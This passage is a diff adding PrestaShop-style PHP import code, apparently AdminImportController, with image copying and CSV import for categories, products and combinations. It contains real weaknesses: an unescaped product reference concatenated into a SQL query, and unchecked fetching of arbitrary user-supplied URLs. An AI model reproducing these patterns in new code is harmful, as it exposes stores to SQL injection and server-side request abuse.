the image if watermark enabled. + * @param string $url path or url to use + * @param string entity 'products' or 'categories' + * @return void + */ + protected static function copyImg($id_entity, $id_image = null, $url, $entity = 'products') + { + $tmpfile = tempnam(_PS_TMP_IMG_DIR_, 'ps_import'); + $watermark_types = explode(',', Configuration::get('WATERMARK_TYPES')); + + switch ($entity) + { + default: + case 'products': + $image_obj = new Image($id_image); + $path = $image_obj->getPathForCreation(); + break; + case 'categories': + $path = _PS_CAT_IMG_DIR_.(int)$id_entity; + break; + } + $url = str_replace(' ', '%20', trim($url)); + + // Evaluate the memory required to resize the image: if it's too much, you can't resize it. + if (!ImageManager::checkImageMemoryLimit($url)) + return false; + + // 'file_exists' doesn't work on distant file, and getimagesize make the import slower. + // Just hide the warning, the traitment will be the same. + if (@copy($url, $tmpfile)) + { + ImageManager::resize($tmpfile, $path.'.jpg'); + $images_types = ImageType::getImagesTypes($entity); + foreach ($images_types as $image_type) + ImageManager::resize($tmpfile, $path.'-'.stripslashes($image_type['name']).'.jpg', $image_type['width'], $image_type['height']); + + if (in_array($image_type['id_image_type'], $watermark_types)) + Hook::exec('actionWatermark', array('id_image' => $id_image, 'id_product' => $id_entity)); + } + else + { + unlink($tmpfile); + return false; + } + unlink($tmpfile); + return true; + } + + public function categoryImport() + { + $cat_moved = array(); + + $this->receiveTab(); + $handle = $this->openCsvFile(); + $default_language_id = (int)Configuration::get('PS_LANG_DEFAULT'); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + $tab_categ = array(Configuration::get('PS_HOME_CATEGORY'), Configuration::get('PS_ROOT_CATEGORY')); + if (isset($info['id']) && in_array((int)$info['id'], $tab_categ)) + { + $this->errors[] = Tools::displayError('The ID category cannot be the same as the ID Root category or the ID Home category.'); + continue; + } + AdminImportController::setDefaultValues($info); + + if (Tools::getValue('forceIDs') && isset($info['id']) && (int)$info['id']) + $category = new Category((int)$info['id']); + else + { + if (isset($info['id']) && (int)$info['id'] && Category::existsInDatabase((int)$info['id'], 'category')) + $category = new Category((int)$info['id']); + else + $category = new Category(); + } + + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $category); + + if (isset($category->parent) && is_numeric($category->parent)) + { + if (isset($cat_moved[$category->parent])) + $category->parent = $cat_moved[$category->parent]; + $category->id_parent = $category->parent; + } + elseif (isset($category->parent) && is_string($category->parent)) + { + $category_parent = Category::searchByName($default_language_id, $category->parent, true); + if ($category_parent['id_category']) + { + $category->id_parent = (int)$category_parent['id_category']; + $category->level_depth = (int)$category_parent['level_depth'] + 1; + } + else + { + $category_to_create = new Category(); + $category_to_create->name = AdminImportController::createMultiLangField($category->parent); + $category_to_create->active = 1; + $category_link_rewrite = Tools::link_rewrite($category_to_create->name[$default_language_id]); + $category_to_create->link_rewrite = $category_link_rewrite; + $category_to_create->id_parent = Configuration::get('PS_HOME_CATEGORY'); // Default parent is home for unknown category to create + if (($field_error = $category_to_create->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $category_to_create->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $category_to_create->add()) + $category->id_parent = $category_to_create->id; + else + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $category_to_create->name[$default_language_id], + (isset($category_to_create->id) ? $category_to_create->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + if (isset($category->link_rewrite) && !empty($category->link_rewrite[$default_language_id])) + $valid_link = Validate::isLinkRewrite($category->link_rewrite[$default_language_id]); + else + $valid_link = false; + + if (!Shop::isFeatureActive()) + $category->id_shop_default = 1; + else + $category->id_shop_default = (int)Context::getContext()->shop->id; + + $bak = $category->link_rewrite[$default_language_id]; + if ((isset($category->link_rewrite) && empty($category->link_rewrite[$default_language_id])) || !$valid_link) + { + $category->link_rewrite = Tools::link_rewrite($category->name[$default_language_id]); + if ($category->link_rewrite == '') + { + $category->link_rewrite = 'friendly-url-autogeneration-failed'; + $this->warnings[] = sprintf(Tools::displayError('URL rewriting failed to auto-generate a friendly URL for: %s'), $category->name[$default_language_id]); + } + $category->link_rewrite = AdminImportController::createMultiLangField($category->link_rewrite); + } + + if (!$valid_link) + $this->warnings[] = sprintf( + Tools::displayError('Rewrite link for %1$s (ID: %2$s) was re-written as %3$s.'), + $bak, + (isset($info['id']) ? $info['id'] : 'null'), + $category->link_rewrite[$default_language_id] + ); + $res = false; + if (($field_error = $category->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $category->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && empty($this->errors)) + { + $category_already_created = Category::searchByNameAndParentCategoryId( + $default_language_id, + $category->name[$default_language_id], + $category->id_parent + ); + + // If category already in base, get id category back + if ($category_already_created['id_category']) + { + $cat_moved[$category->id] = (int)$category_already_created['id_category']; + $category->id = (int)$category_already_created['id_category']; + } + + if ($category->id && $category->id == $category->id_parent) + { + $this->errors[] = Tools::displayError('a category cannot be its own parent'); + continue; + } + + /* No automatic nTree regeneration for import */ + $category->doNotRegenerateNTree = true; + + // If id category AND id category already in base, trying to update + $categories_home_root = array(Configuration::get('PS_ROOT_CATEGORY'), Configuration::get('PS_HOME_CATEGORY')); + if ($category->id && $category->categoryExists($category->id) && !in_array($category->id, $categories_home_root)) + $res = $category->update(); + if ($category->id == Configuration::get('PS_ROOT_CATEGORY')) + $this->errors[] = Tools::displayError('The root category cannot be modified.'); + // If no id_category or update failed + if (!$res) + $res = $category->add(); + } + //copying images of categories + if (isset($category->image) && !empty($category->image)) + if (!(AdminImportController::copyImg($category->id, null, $category->image, 'categories'))) + $this->warnings[] = $category->image.' '.Tools::displayError('cannot be copied.'); + // If both failed, mysql error + if (!$res) + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + (isset($info['name']) ? Tools::safeOutput($info['name']) : 'No Name'), + (isset($info['id']) ? Tools::safeOutput($info['id']) : 'No ID') + ); + $error_tmp = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : '').Db::getInstance()->getMsgError(); + if ($error_tmp != '') + $this->errors[] = $error_tmp; + } + else + { + // Associate category to shop + if (Shop::isFeatureActive()) + { + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'category_shop + WHERE id_category = '.(int)$category->id + ); + + if (!Shop::isFeatureActive()) + $info['shop'] = 1; + elseif (!isset($info['shop']) || empty($info['shop'])) + $info['shop'] = implode($this->multiple_value_separator, Shop::getContextListShopID()); + + // Get shops for each attributes + $info['shop'] = explode($this->multiple_value_separator, $info['shop']); + + foreach ($info['shop'] as $shop) + if (!is_numeric($shop)) + $category->addShop(Shop::getIdByName($shop)); + else + $category->addShop($shop); + } + } + } + + /* Import has finished, we can regenerate the categories nested tree */ + Category::regenerateEntireNtree(); + + $this->closeCsvFile($handle); + } + + public function productImport() + { + $this->receiveTab(); + $handle = $this->openCsvFile(); + $default_language_id = (int)Configuration::get('PS_LANG_DEFAULT'); + AdminImportController::setLocale(); + $shop_ids = Shop::getCompleteListOfShopsID(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + if (Tools::getValue('forceIDs') && isset($info['id']) && (int)$info['id']) + $product = new Product((int)$info['id']); + else + { + if (array_key_exists('id', $info) && (int)$info['id'] && Product::existsInDatabase((int)$info['id'], 'product')) + $product = new Product((int)$info['id']); + else + $product = new Product(); + } + + if (array_key_exists('id', $info) && (int)$info['id'] && Product::existsInDatabase((int)$info['id'], 'product')) + { + $product->loadStockData(); + $category_data = Product::getProductCategories((int)$product->id); + foreach ($category_data as $tmp) + $product->category[] = $tmp; + } + + AdminImportController::setEntityDefaultValues($product); + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $product); + + if (!Shop::isFeatureActive()) + $product->shop = 1; + elseif (!isset($product->shop) || empty($product->shop)) + $product->shop = implode($this->multiple_value_separator, Shop::getContextListShopID()); + + if (!Shop::isFeatureActive()) + $product->id_shop_default = 1; + else + $product->id_shop_default = (int)Context::getContext()->shop->id; + + // link product to shops + $product->id_shop_list = array(); + foreach (explode($this->multiple_value_separator, $product->shop) as $shop) + if (!is_numeric($shop)) + $product->id_shop_list[] = Shop::getIdByName($shop); + else + $product->id_shop_list[] = $shop; + + if ((int)$product->id_tax_rules_group != 0) + { + if (Validate::isLoadedObject(new TaxRulesGroup($product->id_tax_rules_group))) + { + $address = $this->context->shop->getAddress(); + $tax_manager = TaxManagerFactory::getManager($address, $product->id_tax_rules_group); + $product_tax_calculator = $tax_manager->getTaxCalculator(); + $product->tax_rate = $product_tax_calculator->getTotalRate(); + } + else + $this->addProductWarning( + 'id_tax_rules_group', + $product->id_tax_rules_group, + Tools::displayError('Invalid tax rule group ID. You first need to create a group with this ID.') + ); + } + if (isset($product->manufacturer) && is_numeric($product->manufacturer) && Manufacturer::manufacturerExists((int)$product->manufacturer)) + $product->id_manufacturer = (int)$product->manufacturer; + else if (isset($product->manufacturer) && is_string($product->manufacturer) && !empty($product->manufacturer)) + { + if ($manufacturer = Manufacturer::getIdByName($product->manufacturer)) + $product->id_manufacturer = (int)$manufacturer; + else + { + $manufacturer = new Manufacturer(); + $manufacturer->name = $product->manufacturer; + if (($field_error = $manufacturer->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $manufacturer->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $manufacturer->add()) + $product->id_manufacturer = (int)$manufacturer->id; + else + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $manufacturer->name, + (isset($manufacturer->id) ? $manufacturer->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + + if (isset($product->supplier) && is_numeric($product->supplier) && Supplier::supplierExists((int)$product->supplier)) + $product->id_supplier = (int)$product->supplier; + else if (isset($product->supplier) && is_string($product->supplier) && !empty($product->supplier)) + { + if ($supplier = Supplier::getIdByName($product->supplier)) + $product->id_supplier = (int)$supplier; + else + { + $supplier = new Supplier(); + $supplier->name = $product->supplier; + $supplier->active = true; + + if (($field_error = $supplier->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $supplier->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $supplier->add()) + { + $product->id_supplier = (int)$supplier->id; + $supplier->associateTo($product->id_shop_list); + } + else + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $supplier->name, + (isset($supplier->id) ? $supplier->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + + if (isset($product->price_tex) && !isset($product->price_tin)) + $product->price = $product->price_tex; + else if (isset($product->price_tin) && !isset($product->price_tex)) + { + $product->price = $product->price_tin; + // If a tax is already included in price, withdraw it from price + if ($product->tax_rate) + $product->price = (float)number_format($product->price / (1 + $product->tax_rate / 100), 6, '.', ''); + } + else if (isset($product->price_tin) && isset($product->price_tex)) + $product->price = $product->price_tex; + + if (isset($product->category) && is_array($product->category) && count($product->category)) + { + $product->id_category = array(); // Reset default values array + foreach ($product->category as $value) + { + if (is_numeric($value)) + { + if (Category::categoryExists((int)$value)) + $product->id_category[] = (int)$value; + else + { + $category_to_create = new Category(); + $category_to_create->id = (int)$value; + $category_to_create->name = AdminImportController::createMultiLangField($value); + $category_to_create->active = 1; + $category_to_create->id_parent = Configuration::get('PS_HOME_CATEGORY'); // Default parent is home for unknown category to create + $category_link_rewrite = Tools::link_rewrite($category_to_create->name[$default_language_id]); + $category_to_create->link_rewrite = AdminImportController::createMultiLangField($category_link_rewrite); + if (($field_error = $category_to_create->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $category_to_create->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $category_to_create->add()) + $product->id_category[] = (int)$category_to_create->id; + else + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $category_to_create->name[$default_language_id], + (isset($category_to_create->id) ? $category_to_create->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + else if (is_string($value) && !empty($value)) + { + $category = Category::searchByName($default_language_id, trim($value), true); + if ($category['id_category']) + $product->id_category[] = (int)$category['id_category']; + else + { + $category_to_create = new Category(); + if (!Shop::isFeatureActive()) + $category_to_create->id_shop_default = 1; + else + $category_to_create->id_shop_default = (int)Context::getContext()->shop->id; + $category_to_create->name = AdminImportController::createMultiLangField(trim($value)); + $category_to_create->active = 1; + $category_to_create->id_parent = (int)Configuration::get('PS_HOME_CATEGORY'); // Default parent is home for unknown category to create + $category_link_rewrite = Tools::link_rewrite($category_to_create->name[$default_language_id]); + $category_to_create->link_rewrite = AdminImportController::createMultiLangField($category_link_rewrite); + if (($field_error = $category_to_create->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $category_to_create->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $category_to_create->add()) + $product->id_category[] = (int)$category_to_create->id; + else + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $category_to_create->name[$default_language_id], + (isset($category_to_create->id) ? $category_to_create->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + } + } + + $product->id_category_default = isset($product->id_category[0]) ? (int)$product->id_category[0] : ''; + + $link_rewrite = (is_array($product->link_rewrite) && count($product->link_rewrite)) ? trim($product->link_rewrite[$default_language_id]) : ''; + + $valid_link = Validate::isLinkRewrite($link_rewrite); + + if ((isset($product->link_rewrite[$default_language_id]) && empty($product->link_rewrite[$default_language_id])) || !$valid_link) + { + $link_rewrite = Tools::link_rewrite($product->name[$default_language_id]); + if ($link_rewrite == '') + $link_rewrite = 'friendly-url-autogeneration-failed'; + } + + if (!$valid_link) + $this->warnings[] = sprintf( + Tools::displayError('Rewrite link for %1$s (ID: %2$s) was re-written as %3$s.'), + $product->name[$default_language_id], + (isset($info['id']) ? $info['id'] : 'null'), + $link_rewrite + ); + + $product->link_rewrite = AdminImportController::createMultiLangField($link_rewrite); + + // replace the value of separator by coma + if ($this->multiple_value_separator != ',') + foreach ($product->meta_keywords as &$meta_keyword) + if (!empty($meta_keyword)) + $meta_keyword = str_replace($this->multiple_value_separator, ',', $meta_keyword); + + // Convert comma into dot for all floating values + foreach (Product::$definition['fields'] as $key => $array) + if ($array['type'] == Product::TYPE_FLOAT) + $product->{$key} = str_replace(',', '.', $product->{$key}); + + // Indexation is already 0 if it's a new product, but not if it's an update + $product->indexed = 0; + + $res = false; + $field_error = $product->validateFields(UNFRIENDLY_ERROR, true); + $lang_field_error = $product->validateFieldsLang(UNFRIENDLY_ERROR, true); + if ($field_error === true && $lang_field_error === true) + { + // check quantity + if ($product->quantity == null) + $product->quantity = 0; + + // If match ref is specified && ref product && ref product already in base, trying to update + if (Tools::getValue('match_ref') == 1 && $product->reference && $product->existsRefInDatabase($product->reference)) + { + $datas = Db::getInstance()->getRow(' + SELECT product_shop.`date_add`, p.`id_product` + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + WHERE p.`reference` = "'.$product->reference.'" + '); + $product->id = (int)$datas['id_product']; + $product->date_add = pSQL($datas['date_add']); + $res = $product->update(); + } // Else If id product && id product already in base, trying to update + else if ($product->id && Product::existsInDatabase((int)$product->id, 'product')) + { + $datas = Db::getInstance()->getRow(' + SELECT product_shop.`date_add` + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + WHERE p.`id_product` = '.(int)$product->id); + $product->date_add = pSQL($datas['date_add']); + $res = $product->update(); + } + // If no id_product or update failed + if (!$res) + { + if (isset($product->date_add) && $product->date_add != '') + $res = $product->add(false); + else + $res = $product->add(); + } + } + + $shops = array(); + $product_shop = explode($this->multiple_value_separator, $product->shop); + foreach ($product_shop as $shop) + { + $shop = trim($shop); + if (!is_numeric($shop)) + $shop = Shop::getIdByName($shop); + + if (in_array($shop, $shop_ids)) + $shops[] = $shop; + else + $this->addProductWarning(Tools::safeOutput($info['name']), $product->id, $this->l('Shop is not valid')); + } + if (empty($shops)) + $shops = Shop::getContextListShopID(); + // If both failed, mysql error + if (!$res) + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + (isset($info['name']) ? Tools::safeOutput($info['name']) : 'No Name'), + (isset($info['id']) ? Tools::safeOutput($info['id']) : 'No ID') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + + } + else + { + // Product supplier + if (isset($product->id_supplier) && isset($product->supplier_reference)) + { + $id_product_supplier = ProductSupplier::getIdByProductAndSupplier((int)$product->id, 0, (int)$product->id_supplier); + if ($id_product_supplier) + $product_supplier = new ProductSupplier((int)$id_product_supplier); + else + $product_supplier = new ProductSupplier(); + + $product_supplier->id_product = $product->id; + $product_supplier->id_product_attribute = 0; + $product_supplier->id_supplier = $product->id_supplier; + $product_supplier->product_supplier_price_te = $product->wholesale_price; + $product_supplier->product_supplier_reference = $product->supplier_reference; + $product_supplier->save(); + } + + // SpecificPrice (only the basic reduction feature is supported by the import) + if ((isset($info['reduction_price']) && $info['reduction_price'] > 0) || (isset($info['reduction_percent']) && $info['reduction_percent'] > 0)) + { + $specific_price = new SpecificPrice(); + $specific_price->id_product = (int)$product->id; + // @todo multishop specific price import + $specific_price->id_shop = $this->context->shop->id; + $specific_price->id_currency = 0; + $specific_price->id_country = 0; + $specific_price->id_group = 0; + $specific_price->price = -1; + $specific_price->id_customer = 0; + $specific_price->from_quantity = 1; + $specific_price->reduction = (isset($info['reduction_price']) && $info['reduction_price']) ? $info['reduction_price'] : $info['reduction_percent'] / 100; + $specific_price->reduction_type = (isset($info['reduction_price']) && $info['reduction_price']) ? 'amount' : 'percentage'; + $specific_price->from = (isset($info['reduction_from']) && Validate::isDate($info['reduction_from'])) ? $info['reduction_from'] : '0000-00-00 00:00:00'; + $specific_price->to = (isset($info['reduction_to']) && Validate::isDate($info['reduction_to'])) ? $info['reduction_to'] : '0000-00-00 00:00:00'; + if (!$specific_price->add()) + $this->addProductWarning(Tools::safeOutput($info['name']), $product->id, $this->l('Discount is invalid')); + } + + if (isset($product->tags) && !empty($product->tags)) + { + // Delete tags for this id product, for no duplicating error + Tag::deleteTagsForProduct($product->id); + + if (!is_array($product->tags)) + { + $product->tags = AdminImportController::createMultiLangField($product->tags); + foreach ($product->tags as $key => $tags) + { + $is_tag_added = Tag::addTags($key, $product->id, $tags, $this->multiple_value_separator); + if (!$is_tag_added) + { + $this->addProductWarning(Tools::safeOutput($info['name']), $product->id, $this->l('Tags list is invalid')); + break; + } + } + } + else + { + foreach ($product->tags as $key => $tags) + { + $str = ''; + foreach ($tags as $one_tag) + $str .= $one_tag.$this->multiple_value_separator; + $str = rtrim($str, $this->multiple_value_separator); + + $is_tag_added = Tag::addTags($key, $product->id, $str, $this->multiple_value_separator); + if (!$is_tag_added) + { + $this->addProductWarning(Tools::safeOutput($info['name']), (int)$product->id, 'Invalid tag(s) ('.$str.')'); + break; + } + } + } + } + //delete existing images if "delete_existing_images" is set to 1 + if (isset($product->delete_existing_images)) + if ((bool)$product->delete_existing_images) + $product->deleteImages(); + else if (isset($product->image) && is_array($product->image) && count($product->image)) + $product->deleteImages(); + + if (isset($product->image) && is_array($product->image) && count($product->image)) + { + $product_has_images = (bool)Image::getImages($this->context->language->id, (int)$product->id); + foreach ($product->image as $key => $url) + { + $url = trim($url); + $error = false; + if (!empty($url)) + { + $url = str_replace(' ', '%20', $url); + + $image = new Image(); + $image->id_product = (int)$product->id; + $image->position = Image::getHighestPosition($product->id) + 1; + $image->cover = (!$key && !$product_has_images) ? true : false; + // file_exists doesn't work with HTTP protocol + if (@fopen($url, 'r') == false) + $error = true; + else if (($field_error = $image->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $image->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $image->add()) + { + // associate image to selected shops + $image->associateTo($shops); + if (!AdminImportController::copyImg($product->id, $image->id, $url)) + { + $image->delete(); + $this->warnings[] = sprintf(Tools::displayError('Error copying image: %s'), $url); + } + } + else + $error = true; + } + else + $error = true; + + if ($error) + $this->warnings[] = sprintf(Tools::displayError('Product n°%1$d: the picture cannot be saved: %2$s'), $image->id_product, $url); + } + } + if (isset($product->id_category)) + $product->updateCategories(array_map('intval', $product->id_category)); + + // Features import + $features = get_object_vars($product); + + if (isset($features['features']) && !empty($features['features'])) + foreach (explode($this->multiple_value_separator, $features['features']) as $single_feature) + { + $tab_feature = explode(':', $single_feature); + $feature_name = trim($tab_feature[0]); + $feature_value = trim($tab_feature[1]); + $position = isset($tab_feature[2]) ? $tab_feature[2]: false; + if(!empty($feature_name) && !empty($feature_value)) + { + $id_feature = Feature::addFeatureImport($feature_name, $position); + $id_feature_value = FeatureValue::addFeatureValueImport($id_feature, $feature_value); + Product::addFeatureProductImport($product->id, $id_feature, $id_feature_value); + } + } + // clean feature positions to avoid conflict + Feature::cleanPositions(); + } + + // stock available + if (Shop::isFeatureActive()) + { + foreach ($shops as $shop) + StockAvailable::setQuantity((int)$product->id, 0, $product->quantity, (int)$shop); + } + else + StockAvailable::setQuantity((int)$product->id, 0, $product->quantity, $this->context->shop->id); + + } + + $this->closeCsvFile($handle); + } + + public function attributeImport() + { + $default_language = Configuration::get('PS_LANG_DEFAULT'); + + $groups = array(); + foreach (AttributeGroup::getAttributesGroups($default_language) as $group) + $groups[$group['name']] = (int)$group['id_attribute_group']; + + $attributes = array(); + foreach (Attribute::getAttributes($default_language) as $attribute) + $attributes[$attribute['attribute_group'].'_'.$attribute['name']] = (int)$attribute['id_attribute']; + + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (count($line) == 1 && empty($line[0])) + continue; + + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + $info = array_map('trim', $info); + + AdminImportController::setDefaultValues($info); + + if (!Shop::isFeatureActive()) + $info['shop'] = 1; + elseif (!isset($info['shop']) || empty($info['shop'])) + $info['shop'] = implode($this->multiple_value_separator, Shop::getContextListShopID()); + + // Get shops for each attributes + $info['shop'] = explode($this->multiple_value_separator, $info['shop']); + + $id_shop_list = array(); + foreach ($info['shop'] as $shop) + if (!is_numeric($shop)) + $id_shop_list[] = Shop::getIdByName($shop); + else + $id_shop_list[] = $shop; + + if(isset($info['id_product'])) + $product = new Product((int)$info['id_product'], false, $default_language); + else + continue; + + $id_image = null; + + //delete existing images if "delete_existing_images" is set to 1 + if (array_key_exists('delete_existing_images', $info) && $info['delete_existing_images'] && !isset($this->cache_image_deleted[(int)$product->id])) + { + $product->deleteImages(); + $this->cache_image_deleted[(int)$product->id] = true; + } + + if (isset($info['image_url']) && $info['image_url']) + { + $product_has_images = (bool)Image::getImages($this->context->language->id, $product->id); + + $url = $info['image_url']; + $image = new Image(); + $image->id_product = (int)$product->id; + $image->position = Image::getHighestPosition($product->id) + 1; + $image->cover = (!$product_has_images) ? true : false; + + $field_error = $image->validateFields(UNFRIENDLY_ERROR, true); + $lang_field_error = $image->validateFieldsLang(UNFRIENDLY_ERROR, true); + + if ($field_error === true && $lang_field_error === true && $image->add()) + { + $image->associateTo($id_shop_list); + if (!AdminImportController::copyImg($product->id, $image->id, $url)) + { + $this->warnings[] = sprintf(Tools::displayError('Error copying image: %s'), $url); + $image->delete(); + } + else + $id_image = array($image->id); + } + else + { + $this->warnings[] = sprintf( + Tools::displayError('%s cannot be saved'), + (isset($image->id_product) ? ' ('.$image->id_product.')' : '') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : '').mysql_error(); + } + } + elseif (isset($info['image_position']) && $info['image_position']) + { + $images = $product->getImages($default_language); + + if ($images) + foreach ($images as $row) + if ($row['position'] == (int)$info['image_position']) + { + $id_image = array($row['id_image']); + break; + } + if (!$id_image) + $this->warnings[] = sprintf( + Tools::displayError('No image was found for combination with id_product = %s and image position = %s.'), + $product->id, + (int)$info['image_position'] + ); + } + + $id_attribute_group = 0; + // groups + $groups_attributes = array(); + if(isset($info['group'])) + foreach (explode($this->multiple_value_separator, $info['group']) as $key => $group) + { + $tab_group = explode(':', $group); + $group = trim($tab_group[0]); + if (!isset($tab_group[1])) + $type = 'select'; + else + $type = trim($tab_group[1]); + + // sets group + $groups_attributes[$key]['group'] = $group; + + // if position is filled + if (isset($tab_group[2])) + $position = trim($tab_group[2]); + else + $position = false; + + if (!isset($groups[$group])) + { + $obj = new AttributeGroup(); + $obj->is_color_group = false; + $obj->group_type = pSQL($type); + $obj->name[$default_language] = $group; + $obj->public_name[$default_language] = $group; + $obj->position = (!$position) ? AttributeGroup::getHigherPosition() + 1 : $position; + + if (($field_error = $obj->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $obj->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + $obj->add(); + $obj->associateTo($id_shop_list); + $groups[$group] = $obj->id; + } + else + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''); + + // fils groups attributes + $id_attribute_group = $obj->id; + $groups_attributes[$key]['id'] = $id_attribute_group; + } + else // alreay exists + { + $id_attribute_group = $groups[$group]; + $groups_attributes[$key]['id'] = $id_attribute_group; + } + } + + // inits attribute + $id_product_attribute = 0; + $id_product_attribute_update = false; + $attributes_to_add = array(); + + // for each attribute + if(isset($info['attribute'])) + foreach (explode($this->multiple_value_separator, $info['attribute']) as $key => $attribute) + { + $tab_attribute = explode(':', $attribute); + $attribute = trim($tab_attribute[0]); + // if position is filled + if (isset($tab_attribute[1])) + $position = trim($tab_attribute[1]); + else + $position = false; + + if (isset($groups_attributes[$key])) + { + $group = $groups_attributes[$key]['group']; + if (!isset($attributes[$group.'_'.$attribute]) && count($groups_attributes[$key]) == 2) + { + $id_attribute_group = $groups_attributes[$key]['id']; + $obj = new Attribute(); + // sets the proper id (corresponding to the right key) + $obj->id_attribute_group = $groups_attributes[$key]['id']; + $obj->name[$default_language] = str_replace('\n', '', str_replace('\r', '', $attribute)); + $obj->position = (!$position && isset($groups[$group])) ? Attribute::getHigherPosition($groups[$group]) + 1 : $position; + + if (($field_error = $obj->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $obj->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + $obj->add(); + $obj->associateTo($id_shop_list); + $attributes[$group.'_'.$attribute] = $obj->id; + } + else + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''); + } + + $info['minimal_quantity'] = isset($info['minimal_quantity']) && $info['minimal_quantity'] ? (int)$info['minimal_quantity'] : 1; + + $info['wholesale_price'] = str_replace(',', '.', $info['wholesale_price']); + $info['price'] = str_replace(',', '.', $info['price']); + $info['ecotax'] = str_replace(',', '.', $info['ecotax']); + $info['weight'] = str_replace(',', '.', $info['weight']); + + // if a reference is specified for this product, get the associate id_product_attribute to UPDATE + if (isset($info['reference']) && !empty($info['reference'])) + { + $id_product_attribute = Combination::getIdByReference($product->id, strval($info['reference'])); + + // updates the attribute + if ($id_product_attribute) + { + // gets all the combinations of this product + $attribute_combinations = $product->getAttributeCombinations($default_language); + foreach ($attribute_combinations as $attribute_combination) + { + if ($id_product_attribute && in_array($id_product_attribute, $attribute_combination)) + { + $product->updateAttribute( + $id_product_attribute, + (float)$info['wholesale_price'], + (float)$info['price'], + (float)$info['weight'], + 0, + (float)$info['ecotax'], + $id_image, + strval($info['reference']), + strval($info['ean13']), + (int)$info['default_on'], + 0, + strval($info['upc']), + (int)$info['minimal_quantity'], + 0, + null, + $id_shop_list + ); + + $id_product_attribute_update = true; + } + } + } + } + + // if no attribute reference is specified, creates a new one + if (!$id_product_attribute) + { + $id_product_attribute = $product->addCombinationEntity( + (float)$info['wholesale_price'], + (float)$info['price'], + (float)$info['weight'], + 0, + (float)$info['ecotax'], + (int)$info['quantity'], + $id_image, + strval($info['reference']), + 0, + strval($info['ean13']), + (int)$info['default_on'], + 0, + strval($info['upc']), + (int)$info['minimal_quantity'], + $id_shop_list + ); + } + + // fills our attributes array, in order to add the attributes to the product_attribute afterwards + if(isset($attributes[$group.'_'.$attribute])) + $attributes_to_add[] = (int)$attributes[$group.'_'.$attribute]; + + // after insertion, we clean attribute position and group attribute position + $obj = new Attribute(); + $obj->cleanPositions((int)$id_attribute_group, false); + AttributeGroup::cleanPositions(); + } + } + + $product->checkDefaultAttributes(); + if (!$product->cache_default_attribute) + Product::updateDefaultAttribute($product->id); + if ($id_product_attribute) + { + // now adds the attributes in the 